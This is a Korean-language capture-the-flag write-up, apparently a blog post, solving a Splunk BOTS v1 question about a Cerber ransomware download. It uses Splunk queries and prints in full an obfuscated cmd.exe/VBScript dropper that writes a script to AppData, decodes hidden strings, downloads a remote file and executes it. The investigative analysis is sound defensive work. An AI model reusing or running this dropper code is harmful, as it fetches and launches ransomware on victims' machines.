Search

S2 #210

The malware downloads a file that contains the Cerber ransomware cryptor code. What is the name of that file?
악성코드는 Cerber 랜섬웨어 크립터 코드가 포함된 파일을 다운로드합니다. 그 파일의 이름은 무엇입니까?
#205에서 마지막에 찾은 커맨드라인들을 다시 참고할때가 됐다.
index=botsv1 host="we8105desk" "D:\\" cmdline="*" | table cmdline
SQL
복사
다른 커맨드에서는 특이한게 보이지 않고 cmd.exe로 시작하는 난독화 코드에 파일다운로드가 있을 것으로 보인다.
cmd.exe /V /C set "GSI=%APPDATA%\%RANDOM%.vbs" && (for %i in ("DIm RWRL" "FuNCtioN GNbiPp(Pt5SZ1)" "EYnt=45" "GNbiPp=AsC(Pt5SZ1)" "Xn1=52" "eNd fuNCtiON" "SUb OjrYyD9()" "J0Nepq=56" "Dim UJv,G4coQ" "LT=23" "dO WHiLE UJv<>3016-3015" "G4coQ=G4coQ+1" "WSCRiPt.sLEeP(11)" "LoOP" "UsZK0=85" "ENd suB" "fuNctIon J7(BLI4A3)" "K5AU=29" "J7=cHR(BLI4A3)" "XBNutM9=36" "eNd fuNCtiON" "SUb MA(QrG)" "WXCzRz=9" "Dim Jw" "Qt7=34" "Jw=TIMeR+QrG" "Do WhiLE tIMEr<Jw" "WSCRipT.sleEP(6)" "LOOp" "EXdkRkH=78" "enD sUB" "fUnCTion M1p67jL(BwqIM7,Qa)" "Yi=80" "dIM KH,ChnFY,RX,Pg,C6YT(8)" "Cm=7" "C6YT(1)=107" "Rzf=58" "C6YT(5)=115" "BSKoW=10" "C6YT(4)=56" "Cwd6=35" "C6YT(7)=110" "AQ=98" "C6YT(6)=100" "Y6Cm1I=82" "C6YT(2)=103" "JH3F2i=74" "C6YT(8)=119" "JRvsG2s=76" "C6YT(3)=53" "Yh=31" "C6YT(0)=115" "GuvD=47" "Tbvf1=67" "SeT KH=cReATeObject(A9y("3C3A1D301F2D063708772930033C3C201C2D0A34203B053C0C2D", "Yo"))" "V2JR=73" "Set ChnFY=KH.GETfilE(BwqIM7)" "RGeJ=68" "SeT Pg=ChnFY.opEnASTExTstReAM(6806-6805,7273-7273)" "CtxOk=82" "seT RX=KH.cREateteXtFiLe(Qa,6566-6565,2508-2508)" "XPL9af=76" "Do uNtil Pg.aTEnDOfStReam" "RX.wRitE J7(OyVNo(GNbiPp(Pg.rEAD(6633-6632)),C6YT(0)))" "LooP" "IQz=49" "RX.cloSe" "CBR1gC7=51" "Pg.cLOSE" "PmG=64" "eNd funCTIOn" "FUNcTION Ql9zEF()" "IBL2=16" "Ql9zEF=secoND(Time)" "MUTkPNJ=41" "End FUNcTiOn" "FUnCtion A9y(Am,T1GCbB)" "CWCH9r=82" "Dim V3sl0m,F4ra,AxFE" "RLLp8R=89" "For V3sl0m=1 To (lEn(Am)/2)" "F4ra=(J7((8270-8232)) & J7((5328/74))&(miD(Am,(V3sl0m+V3sl0m)-1,2)))" "AxFE=(GNbiPp(mID(T1GCbB,((V3sl0m MOd Len(T1GCbB))+1),1)))" "A9y=A9y+J7(OyVNo(F4ra,AxFE))" "NeXT" "DxZ40=89" "enD fUNction" "Sub AylniN()" "N6nzb=92" "DIm GWJCk,Q3y,GKasG0" "FDu=47" "GWJCk=93961822" "UZ=32" "FoR Q3y=1 To GWJCk" "GKasG0=GKasG0+1" "neXt" "B1jq2Hk=63" "If GKasG0=GWJCk tHen" "KXso=18" "MA((-176+446))" "IP4=48" "Yq(A9y("0B3B1D44626E7E1020055D3C20230A3B0C503D31230C3700593135344D201B53772C39173D475E2826","QcOi4XA"))" "YTsWy=31" "elSe" "DO5gpmA=84" "A8=86" "EnD iF" "XyUP=64" "eND SuB" "sUB GKfD3aY(FaddNPJ)" "SDU0BLq=57" "DiM UPhqZ,KbcT" "DxejPK=88" "KbcT="Drn4AW"" "GROlc7=82" "sET UPhqZ=CREAteOBJecT(A9y("332A7B05156A211A46243629",KbcT))" "Gs0g=3" "UPhqZ.OpEn" "TF1=68" "UPhqZ.tyPE=6867-6866" "RDjmY=24" "UPhqZ.wrITe FaddNPJ" "WiFgvS=78" "UPhqZ.SaVeTOfIle RWRL,8725-8723" "AF=4" "UPhqZ.closE" "JC7sf2=1" "Cke4e" "JM=88" "EnD suB" "fuNCtIoN Yq(PDqi1)" "I0=22" "DiM YTwwO,BAU7Cz,Uv,JiYwVG,IK" "GJDnbE=32" "On ErrOR reSume NeXT" "B7bT=1" "Uv="Tk"" "ELw=73" "sEt YTwwO=CREaTeObjeCT(A9y("3C07082602241F7A383C0E3807",Uv))" "K4=62" "GAiF" "IS1cj=19" "Set Dzc0=YTwwO.eNVIrONMEnt(A9y("013B183400023A","EQiWw"))" "D9S=38" "RWRL=Dzc0(A9y("14630811720C14","XU3"))&J7((8002-7910))& Ql9zEF & Ql9zEF" "AtCQ=95" "JiYwVG="FcQqQ"" "Tf=79" "sEt BAU7Cz=CrEATEoBjECT(A9y("2E38122329103E1725683B1C3D19123701",JiYwVG))" "QUY=56" "BAU7Cz.OpeN A9y("0D0E1E","KJ"),PDqi1,7387-7387" "JX2=58" "BAU7Cz.SeTReQuEstHeAdeR A9y("1F59242828","OM8J"),A9y("0D354C3D356B567A0F6B6B","VoL8XF")" "URkT=71" "BAU7Cz.SEnD()" "QdFeA6=65" "if BAU7Cz.StaTUstExt=A9y("652840353A542512023C5B3D572F27","S5I2A") then" "PwTLW23=36" "GAiF" "R4xYBS=63" "MA(4)" "PjL6m=46" "GKfD3aY BAU7Cz.ReSpONSEbody" "Fj98=72" "Else" "D7T=91" "IK="NNXFD0"" "NK=74" "SeT BAU7Cz= CreATeobJECT(A9y("033125365F3D213E326A68030210121060",IK))" "QJ=35" "BAU7Cz.oPeN A9y("2A2F0E","TmjZ8d"),A9y("07351B31556E40785D6F5D735D6F5E715B6F5E795D6E02291B33412B1F26","Ao" ),5022-5022" "UMp8=85" "BAU7Cz.SeTReqUesTheadER A9y("1439190A24","AFXwm"),A9y("371038301A716C5F7B6644","LUi")" "NluUc=93" "BAU7Cz.SENd()" "EOtR=44" "If BAU7Cz.STaTUSTexT=A9y("03510A3B3A51146F105F163B365E0C","OS0x") THen GKfD3aY BAU7Cz.REsPOnSeBODY" "Q6sMEZ=54" "I9Nl7=56" "end if" "Dq=54" "eND FuNCTioN" "fUNctIon OyVNo(U1,Brt0d)" "SNOW=59" "OyVNo=(U1 ANd noT Brt0d)oR(NOt U1 And Brt0d)" "QTi5K=54" "enD funcTION" "Sub Cke4e()" "WTOyAw=62" "dIM EuM,WIbud,NCiN,Fs8HJ" "A5AT=92" "NCiN=""""" "SX6=93" "WIbud=RWRL & Ql9zEF & A9y("4A330F3F","WdGbOGp")" "V5B7Zh=92" "M1p67jL RWRL,WIbud" "L13=45" "iF Fs8HJ="" tHen MA(4)" "CHaK=38" "EuM="Iqxkf"" "U56m=67" "SEt VP=creATeoBJEcT(A9y("262B081420010C453521141407",EuM))" "U5Quw=85" "VP.Run A9y("1023287B163629755C0D6C06270F1E01536C6E7551","UsNL") & WIbud & NCiN,2912-2912,5755-5755" "A6mfcYL=76" "End sUB" "JoxZ3=43" "AylniN" "suB GAiF()" "G4vzM=95" "Dim DCRml9g, CjoNOY9" "For DCRml9g = 68 To 6000327" "CjoNOY9 = Rvwr + 23 + 35 + 27" "Next" "KK0H=46" "enD sUb") do @echo %~i)>"!GSI!" && start "" "!GSI!"
Visual Basic
복사
난독화가 심하게 돼있다. 문제 점수가 높지 않으므로 해당 난독화를 직접 푸는 형태는 아닐것이라 GPT에게 간단한 설명을 요구했다.
1.
스크립트는 다양한 목적을 위해 여러 기능과 서브루틴을 정의
GNbiPp: 문자의 ASCII 값을 구하는 함수.
J7: ASCII 값에서 문자를 가져오는 함수.
MA: 스크립트 실행을 지연시키는 서브루틴.
M1p67jL: 한 위치에서 다른 위치로 파일을 복사하는 기능.
Ql9zEF: 시스템 시간의 현재 초를 구하는 함수.
A9y: 두 개의 문자열을 입력받아 첫 번째 문자열을 두 번째 문자열로 복호화하는 복호화 함수.
AylniN: 조건을 확인하고 다른 함수/서브루틴을 호출하는 서브루틴.
GKfD3aY: 객체를 생성하고 데이터를 쓰고 파일에 저장하는 서브루틴.
Yq : URL에서 파일을 다운받아 로컬에 저장하는 기능.
OyVNo: 주어진 두 수를 XOR 연산하는 함수.
2.
스크립트는 GSI라는 변수를 사용자의 AppData 폴더에 있는 임의의 VBScript 파일 경로로 설정
3.
스크립트는 @echo 명령에 의해 처리된 후 스크립트 내용으로 GSI 경로에 새 파일을 생성
4.
스크립트는 start 명령을 사용하여 GSI 경로에서 새로 생성된 파일을 실행
Function Yq(PDqi1) ... Uv="Tk" Set YTwwO=CreateObject(A9y("3C07082602241F7A383C0E3807",Uv)) ... BAU7Cz.Open A9y("0D0E1E","KJ"),PDqi1,7387-7387 BAU7Cz.SetRequestHeader A9y("1F59242828","OM8J"),A9y("0D354C3D356B567A0F6B6B","VoL8XF") BAU7Cz.Send() ... if BAU7Cz.StatusText=A9y("652840353A542512023C5B3D572F27","S5I2A") then ... GKfD3aY BAU7Cz.ResponseBody Else ... If BAU7Cz.StatusText=A9y("03510A3B3A51146F105F163B365E0C","OS0x") Then GKfD3aY BAU7Cz.ResponseBody End If ... End Function
Visual Basic
복사
파일 다운로드 함수 Yq(PDqi1)은 URL(PDqi1)을 인수로 취하고 주어진 URL에서 파일을 다운로드하는 역할
1.
먼저 Set YTwwO=CreateObject(A9y("3C07082602241F7A383C0E3807",Uv))로 XMLHTTP 객체를 생성
2.
그런 다음 BAU7Cz.Open A9y("0D0E1E","KJ"),PDqi1,7387-7387로 요청을 초기. 요청 유형은 "GET"(A9y("0D0E1E","KJ"))이고 URL은 PDqi1 또한 요청을 동기식으로 설정(7387-7387은 0으로 FALSE).
3.
BAU7Cz.SetRequestHeader A9y("1F59242828","OM8J"),A9y("0D354C3D356B567A0F6B6B","VoL8XF")로 요청 헤더를 설정
4.
BAU7Cz.Send()로 요청
5.
요청을 보낸 후 응답의 상태 텍스트가 예상 값과 일치하면 응답 본문이 'BAU7Cz.ResponseBody'인 'GKfD3aY' 함수를 호출
RWRL=Dzc0(A9y("14630811720C14","XU3"))&J7((8002-7910))& Ql9zEF & Ql9zEF
Visual Basic
복사
변수 RWRL에는 파일 이름이 할당. 디코딩된 문자열과 Ql9zEF()함수(시간의 현재 초를 반환함)의 두 연결된 값의 조합. 디코딩된 문자열은 A9y()함수 호출에서 얻음, 적절한 디코딩 키와 추가 정보 없이는 파일의 정확한 이름을 제공하는 것이 불가능
시간, 초가 들어가서 파일 이름이 형성되는 순간 이 코드만으로는 더 이상 알 수 없다.
해당 명령어 실행 시간 후 1분 내로 파일 다운로드를 한 통신을 살펴보자.
시간은 2016.08.24. 16:43:21 이다.
시간 범위를 엄청 짧게 잡고 검색을 실시했다.
가능성이 있는 로그는 stream:tcp, suricata 두 개다. 11개밖에 안되므로 다 봤지만 결과가 딱히 없었다.
index=botsv1 (host="we8105desk" OR src_ip="192.168.250.100") | stats count by sourcetype
Visual Basic
복사
난독화 된 코드에는 Sleep함수도 있었으므로 시간 범위를 너무 짧게 잡은듯해 5분으로 늘렸다.
url을 가진 결과는 단 2건으로 dest_ip는 92.222.104.182, 37.187.37.150 두개로 다른데 요청하는 url 파일은 /mhtr.jpg로 동일하다.
index=botsv1 sourcetype=suricata (host="we8105desk" OR src_ip="192.168.250.100") url=*
Visual Basic
복사
구글에 검색해보니 실제로 있는 랜섬웨어를 기반으로 만들어진 이벤트로그였다.